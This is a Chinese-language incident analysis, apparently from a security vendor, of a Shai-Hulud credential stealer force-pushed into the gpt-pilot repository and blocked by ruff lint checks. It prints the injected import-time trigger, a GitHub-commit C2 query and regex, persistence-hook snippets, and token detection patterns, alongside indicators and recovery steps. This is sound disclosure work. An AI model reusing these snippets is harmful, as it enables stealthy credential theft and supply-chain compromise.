Pythagora-io/gpt-pilot 在 GitHub 上被入侵——Python Linter 阻止了 Shai-Hulud 凭证窃取器

攻击者劫持了 gpt-pilot(一个拥有 33K 星标的 AI 编码工具)的联合创始人 GitHub 账户,并向 main 分支强制推送了一个凭据窃取型 Shai-Hulud 恶意载荷。ruff Python 代码检查工具在恶意代码中发现了格式和代码规范违规问题,并两次阻止了 CI 构建——攻击者放弃了。

2026 年 6 月 8 日,攻击者入侵了 Pythagora-io/gpt-pilot 联合创始人兼仓库维护者的 GitHub 账户。该项目是一款流行的开源 AI 开发者工具,拥有超过 33,700 个 GitHub 星标和 3,500 多个分支,被誉为"首个真正的 AI 开发者",被广泛应用于构建 AI 辅助编码工作流的开发者群体。恶意软件是 Shai-Hulud 蠕虫的一个变体,该蠕虫在 2026 年已入侵 OpenAI、GitHub、欧盟委员会以及 170 多个 npm 包。阻止这次攻击的是一个不太可能的防线:ruff,一个 Python 代码格式化工具。攻击者两次尝试让恶意代码通过 CI,但都失败了——因为他们注入的 Python 文件不符合项目的格式和代码规范规则。同样的恶意软件家族今年已成功感染了 MicrosoftRed Hat 和 Mistral AI 维护的项目。

隐藏在仓库中的有效载荷并非简单的后门程序。这是一个 758KB 的混淆 JavaScript 凭据窃取程序,目标是 AWS 密钥、npm 令牌、GitHub 密钥、Kubernetes 服务账户、HashiCorp Vault 令牌和 SSH 密钥。它使用 GitHub 提交信息作为隐蔽的命令控制通道,通过创建 GitHub 仓库并以文件形式提交数据来窃取凭据,甚至能够使用 Sigstore 通过 SLSA Build Level 3 认证签署和发布恶意 npm 包。它还在 Claude Code 和 VS Code 中植入持久性钩子,以便未来的编码会话重新执行恶意软件。

攻击时间线

时间戳 (UTC)事件
2025-08-24 20:37恶意"Revert"提交被创作并回溯时间戳以匹配 Zvonimir Sabljic 的合法还原提交。该提交在 core/telemetry/ 中添加了 _hooks.py_runtime.bin 并修改了 __init__.py
2026-06-08 11:01:38通过被入侵的 LeonOstrez 账户首次强制推送到 main。干净的提交链 (53154df1c66b) 被恶意提交链 (90f59f5de681) 替换。main 上未配置任何分支保护规则。
2026-06-08 11:02:07CI 失败。ruff format --check_hooks.py 第 59 行发现格式违规。所有 6 个 CI 任务(3 个 Python 版本 x 2 个操作系统变体)失败。CI 运行 ID:#27133204878
2026-06-08 11:13:07第二次强制推送。攻击者修复了格式问题并重试。
2026-06-08 11:13:38CI 再次失败。ruff check__init__.py 第 399 行发现 E402(模块级导入不在文件顶部)和 I001(未排序的导入)。所有 6 个 CI 任务再次失败。
2026-06-08 约 11:30社区成员通过 GitHub issue #1181 报告了此次入侵。
2026-06-08 约 12:00Issue #1181 被删除(现在返回 HTTP 410)。很可能由被入侵的 LeonOstrez 账户删除以压制信息披露。

攻击原理

步骤 1 - 账户入侵和强制推送

攻击者获得了 LeonOstrez GitHub 账户的控制权,这是 Pythagora 的一位联合创始人和仓库维护者。该仓库的 main 分支没有分支保护规则——GitHub API 返回 404 表示 /repos/Pythagora-io/gpt-pilot/branches/main/protection。这使得攻击者可以直接强制推送到 main 而无需任何审查或批准。

强制推送替换了整个提交历史。GitHub 的推送事件日志记录了这次重写:

javascript
# Push event 1 - clean history replaced with malicious chain 11:01:38Z LeonOstrez before:53154df1c66b head:90f59f5de681 # Push event 2 - attacker retries after CI failure 11:13:07Z LeonOstrez before:90f59f5de681 head:a372904facd5

步骤 2 - 特洛伊提交

攻击的核心是一个名为 "Revert 'Implemented weekend discount'" 的提交——一个听起来无害的更改,看起来只是撤销一个促销代码更新。攻击者创建了两个版本的提交,具有相同的元数据(相同的消息、相同的作者名、相同的时间戳 2025-08-24 20:37:44):

版本SHA更改
干净版本566fbb12仅还原 frontend.pyspec_writer.py
恶意版本065ee8eb相同的还原操作,外加添加 _hooks.py_runtime.bin 并修改 __init__.py

TODO: 添加图片

步骤 3 - 恶意软件组件

三个文件被注入到 core/telemetry/

文件大小用途
_hooks.py4,022 字节Python 加载器。下载 Bun v1.3.13 运行时并执行 JavaScript 有效载荷。
_runtime.bin758,608 字节具有 C2 功能的混淆 JavaScript 凭据窃取程序。尽管有 .bin 扩展名,但这是 JavaScript 代码。
__init__.py+9 行修改了遥测初始化模块。在模块导入时生成守护线程以触发恶意软件。

激活链

当开发者运行 gpt-pilot 时,恶意软件通过 Python 的模块导入系统静默激活:

javascript
# Injected at line 399 of core/telemetry/__init__.py import threading as _th def _setup_reporting(): try: from core.telemetry._hooks import run run() except Exception: pass _th.Thread(target=_setup_reporting, daemon=True).start()

_hooks.py 加载器随后执行以下链:

TODO: 插入图片

该加载器是跨平台的,支持 Linux(x64、ARM、musl)、macOS(x64、ARM)和 Windows(x64、ARM)。它使用锁文件 (.loader.lock) 防止重复执行,并将所有输出抑制到 /dev/null

深入分析:_runtime.bin 有效载荷

_runtime.bin 有效载荷是一个 758KB 的单行 JavaScript 文件,设计用于在 Bun 运行时运行。它使用五层混淆来逃避静态分析。

混淆层

技术详情
1常量查找表MxGPr9 —— 1,266 个数字和字符串片段的数组。所有数字引用都使用十六进制索引查找。
2Base91 编码字符串数组rmlQezO —— 4,777 个编码字符串在使用前通过 v3MNGJU() 循环移位 26 位。
3三个自定义 Base91 字母表不同代码段使用不同的解码器字母表,使自动化反混淆更加困难。
4控制流扁平化生成器函数 (function*) 带有 while/switch 状态机,模糊了执行流程。
5属性访问混淆HJgj4ju() —— 延迟字符串解码器,具有 3,769 个唯一引用。所有属性访问都通过此函数进行。

混淆后的代码将 require() 重命名为 rMq3gu(),并使用 @redacted 命名空间来隐藏真实的包名。混淆示例:

javascript
// What the code looks like (obfuscated) const rMq3gu = module[HJgj4ju(MxGPr9[0x4f1])]; const Zof6pH = rMq3gu(HJgj4ju(MxGPr9[0x2a3])); // What it actually means (deobfuscated) const require = module.require; const crypto = require('crypto');

凭据目标

该有效载荷针对每个主要云平台和 CI/CD 平台的凭据:

TODO: 此处插入图片

通过 GitHub 提交信息进行 C2

恶意软件使用了一种新颖的隐写 C2 通道。它不是连接到传统的 C2 服务器,而是通过 GitHub 提交 API 搜索特定的标记字符串:

javascript
GET https://api.github.com/search/commits?q=thebeautifulsnadsoftime # The malware extracts commands using this regex: thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700}) # Commands are base64-encoded and executed via eval()

这意味着攻击者只需创建包含标记 thebeautifulsnadsoftime 的公开 GitHub 提交,就可以向所有受感染的机器发出命令。C2 通道几乎无法检测,因为 GitHub 提交搜索是常规 API 调用,与正常开发者活动融为一体。

数据外泄方法

主要(GitHub 仓库):​ 恶意软件使用被盗令牌创建新的 GitHub 仓库,并将窃取的凭据作为文件提交。它冒充 [email protected] 为提交作者,并创建禁用了讨论、issues 和 wiki 的仓库,以最大限度地减少可见性。

次要(加密 DNS C2):​ 回退到通过 DNS 解析的 HTTP 端点,使用 AES-256-GCM 加密进行数据外泄。

持久性机制

该有效载荷在开发者工具中植入钩子以在初始感染后继续存活:

javascript
// .claude/settings.json - re-executes on every Claude Code session { "hooks": { "SessionStart": [{"command": "...malicious payload..."}] } } // .vscode/tasks.json - re-executes when folder is opened in VS Code { "tasks": [{ "runOptions": {"runOn": "folderOpen"}, "command": "...malicious payload..." }] }

反分析技术

  • 俄罗斯语言环境豁免:如果系统语言环境包含"ru"则干净退出——这是东欧威胁行为者避免针对国内系统的有据可查的技术
  • 单例互斥体:防止多个实例同时运行
  • 守护进程化:通过 unref() 生成脱离父进程的 detached 子进程
  • 令牌监控:通过 installTokenMonitor 在会话期间监视新创建的令牌

Sigstore 滥用

最令人担忧的能力是恶意软件滥用 Sigstore 基础设施。它可以向 Fulcio (https://fulcio.sigstore.dev) 请求签名证书,在 Rekor 透明度日志中创建条目,并生成 SLSA 出处证明。这意味着被盗的 npm 令牌可用于发布具有有效 SLSA Build Level 3 认证的恶意包——这是大多数组织认为具有权威性的信任信号。

Ruff 如何拯救了这一天

gpt-pilot 仓库在其 CI 管道中使用 ruff 进行两项强制检查:

javascript
# .github/workflows/ci.yml - name: Lint with ruff run: poetry run ruff check --output-format github - name: Check code style with ruff run: poetry run ruff format --check --diff

第一次 CI 失败:格式

攻击者的 _hooks.py 有一个不符合 ruff 格式规则的多行函数调用:

javascript
# What the attacker wrote (FAILED formatting check): out = subprocess.check_output( ["ldd", "--version"], stderr=subprocess.STDOUT ).decode("utf-8", "ignore") # What ruff expected: out = subprocess.check_output(["ldd", "--version"], stderr=subprocess.STDOUT).decode("utf-8", "ignore")

结果:​**"1 个文件需要重新格式化,151 个文件已格式化。"** 恶意文件是唯一未通过的。所有 6 个 CI 任务失败。

第二次 CI 失败:代码规范

12 分钟后,攻击者修复了格式并再次强制推送。但 ruff 在代码规范规则上抓住了他们:

javascript
core/telemetry/__init__.py:399:1: E402 Module level import not at top of file core/telemetry/__init__.py:399:1: I001 Import block is un-sorted or un-formatted

攻击者在 Telemetry 类定义之后的第 399 行添加了 import threading as _th——这违反了 Python 的导入排序约定(PEP 8)。在维护良好的代码库中,所有导入都在文件顶部。攻击者无法将导入移到顶部而不会与现有导入产生合并冲突,也无法轻易重构他们的注入代码以避开该规则。

结果:​所有 6 个 CI 任务再次失败。攻击者放弃了。​

Ruff 如何阻止了两次攻击尝试

TODO: 插入图片

与 Shai-Hulud 活动的关联

这次攻击是 Shai-Hulud 恶意软件家族的直接实例,归属于 TeamPCP/UNC6780。识别基于多个匹配指标:

  • 相同的 Bun v1.3.13 运行时加载器模式
  • 相同的 _runtime 文件命名约定(2026 年 4 月在 PyTorch Lightning 中也出现过)
  • 匹配的凭据目标集和外泄方法
  • 相同的 thebeautifulsnadsoftime C2 标记字符串
  • 俄罗斯语言环境豁免
  • 滥用 Sigstore/Fulcio 为恶意包签名

TeamPCP 于 2026 年 5 月 12 日公开发布了 Mini Shai-Hulud 源代码——距离这次攻击仅 27 天,使得归因不确定:这可能是原始行为者或模仿者。有效载荷的复杂性(5 层混淆、Sigstore 滥用、GitHub 提交 C2)表明是前者。

Shai-Hulud 活动时间线

Shai-Hulud 活动时间线(2025-2026)​

TODO: 插入图片

StepSecurity 已发布了该活动中多个事件的详细技术分析,包括 Miasma 蠕虫攻击 Microsoft Azure 仓库Microsoft durabletask PyPI 被入侵Red Hat 云服务 npm 包被入侵axios npm 供应链攻击。要了解供应链攻击加速的更广泛情况,请参阅 48 小时内的 5 起供应链攻击

入侵指标

文件哈希

文件算法哈希
_runtime.binSHA256c96f37e1b9cdc9683a300909492ed9f770b620d0037e5b80e23753cba7ca4077
_runtime.binMD57090625f760b831d607c9a38cfc58c4b
_hooks.pySHA25651b4dd39a15af1e28e97adc375849d688423ec3d88e8010644395fcdea52a3cc
_hooks.pyMD5a722b89f887f226672d0ee4f708794f8

关键提交 SHA

javascript
# Malicious "Revert" commit (contains _hooks.py + _runtime.bin) 065ee8ebee7385cb644fd1608587a18edb91f4fb # Clean "Revert" commit (legitimate, same metadata) 566fbb120bc436385aa5a4cb93d7c351dec2127e # First CI failure (ruff format) 90f59f5de6819a43ffe9b6272e3ed65aaadca804 # Second CI failure (ruff check) a372904facd53ee99d85add7ee79aea2b7a8506a # Pre-attack HEAD (clean) 53154df1c66b42021f230c3fb6ef797c4b7c3e83

C2 和行为指标

javascript
# C2 Marker (GitHub commit search) thebeautifulsnadsoftime # C2 Command Extraction Regex thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700}) # Exfiltration Identity claude@users.noreply.github.com # Russian Locale Check "Exiting as russian language detected!" # Singleton Mutex "Another instance is already running" # Daemonization Flag __DAEMONIZED # Token Patterns npm_[A-Za-z0-9]{36,} ghp_[A-Za-z0-9]{36} gho_[A-Za-z0-9]{36} ghs_[A-Za-z0-9]{36,} AKIA[0-9A-Z]{16}

MITRE ATT&CK 映射

技术ID 描述 供应链入侵T1195.002通过强制推送将恶意软件捆绑在合法仓库中JavaScript 执行T1059.007通过 Bun 运行时执行 JavaScript 有效载荷凭据文件T1555读取 .aws/credentials、.kube/config、.vault-token云元数据 APIT1552.005查询 EC2/ECS IMDS 以获取 IAM 凭据应用访问令牌T1528窃取 GitHub、npm 和 OIDC 令牌通过 Web 服务外泄T1567将窃取的数据提交到 GitHub 仓库DNS 基于的 C2T1071.004使用 AES-256-GCM 加密的 DNS 解析 HTTP 端点Web 服务 C2T1102.002使用 GitHub 提交 API 作为双向 C2 通道

我是否受到影响?

检查您的安装

如果您在 2026 年 6 月 8 日 11:01 UTC 之后但在强制推送被还原之前从 GitHub 克隆或拉取了 gpt-pilot,您可能收到了恶意代码。请检查:

javascript
# Check for malicious files ls -la core/telemetry/_hooks.py core/telemetry/_runtime.bin 2>/dev/null # Check for Bun runtime downloaded by the loader find /tmp -name "rt-*" -type d 2>/dev/null # Check for the lock file find . -name ".loader.lock" 2>/dev/null # Check for persistence hooks cat .claude/settings.json 2>/dev/null cat .vscode/tasks.json 2>/dev/null

恢复步骤

  1. 立即轮换所有凭据——AWS 访问密钥、npm 令牌、GitHub PAT、SSH 密钥以及存储在环境变量或凭据文件中的任何密钥
  2. 审计云访问日志——检查 AWS CloudTrail 中是否有未经授权的 AssumeRoleGetSecretValueListSecrets 调用
  3. 检查 npm 审计日志——查找未经授权的包发布或令牌创建
  4. 检查 GitHub 仓库——查找您账户创建的非您本人创建的新仓库,特别是那些禁用了讨论/issues/wiki 的仓库
  5. 检查持久性——删除您未创建的 .claude/settings.json 钩子或 .vscode/tasks.json 条目
  6. 终止可疑进程——查找正在运行 _runtime.bin 的 Bun 进程或任何具有 __DAEMONIZED 环境变量的进程

经验教训

1. CI/CD 作为意外的安全控制

ruff 代码检查工具并非设计为安全工具,但它发挥了安全工具的作用。​代码质量工具是抵御供应链攻击的未被重视的防御层。​ 从正常开发工作流外部注入的恶意代码通常不符合项目的编码风格。这类似于伪造签名失败的原因不是安全系统,而是因为伪造者练习不够。

2. 分支保护不是可选的

main 上缺乏分支保护使得单个被入侵的账户可以在无需任何审查或批准的情况下强制推送恶意代码。启用分支保护并配置:

  • 要求 Pull Request 审查
  • 要求状态检查(合并前 CI 必须通过)
  • 限制对默认分支的强制推送
  • 要求签名提交

3. 监控强制推送

在生产仓库中,对默认分支的强制推送几乎总是可疑的。StepSecurity Harden-Runner 等工具可以作为更广泛的 CI/CD 安全态势的一部分来检测和警报强制推送。

4. 遥测隐藏点

攻击者故意选择了 core/telemetry/ 目录——这是开发者倾向于忽略且已经包含网络相关代码的位置。将恶意文件命名为 _hooks.py(下划线前缀表示"私有/内部")和 _runtime.bin.bin 扩展名将 JavaScript 伪装成二进制数据)是故意的社会工程选择,旨在在代码审查期间避免审查。

5. Bun 运行时作为攻击向量

使用 Bun 而不是 Node.js 是 Shai-Hulud 操作者的有意选择。Bun 更新,更不可能被端点安全工具标记,并且可以执行任何扩展名的 JavaScript/TypeScript 文件——包括 .bin

被删除的 Issue

GitHub issue #1181 包含社区关于此次入侵的初步报告,现已被删除(GitHub REST API 返回 HTTP 410 Gone,GraphQL API 返回 NOT_FOUND)。只有仓库管理员可以删除 GitHub issues。我们尝试通过 GitHub 组织审计日志 API (/orgs/Pythagora-io/audit-log?phrase=action:issues.delete) 确认删除,但该端点需要组织管理员访问权限,对外部调用者返回 HTTP 404。

然而,间接证据很有力。LeonOstrez 是 Pythagora-io GitHub 组织中唯一的可见成员(通过 gh api /orgs/Pythagora-io/members 确认)。协作者端点 (/repos/Pythagora-io/gpt-pilot/collaborators?permission=admin) 需要推送权限才能查询,但由于 LeonOstrez 是唯一的组织成员,并且在 11:01 和 11:13 UTC 积极向仓库进行强制推送,因此极有可能是同一个被入侵的账户在约 12:00 UTC 删除了 issue #1181 以压制社区对攻击的披露。​我们建议提交 GitHub 支持工单,通过内部审计日志确认此事并暂停被入侵的账户。​

未签名提交

干净版本和恶意版本的提交都不是 GPG 签名的,使得密码学验证提交作者成为不可能。恶意"Revert"提交声称由 Zvonimir Sabljic <[email protected]> 创作,但由于它是通过 LeonOstrez 账户推送的,因此该身份很可能是被伪造的。

致谢

我们要感谢在 issue 被删除之前通过 GitHub issue #1181 报告可疑活动的社区成员。我们还要感谢 Aikido Security 的 Charlie Eriksen 在 X 上披露了此次入侵。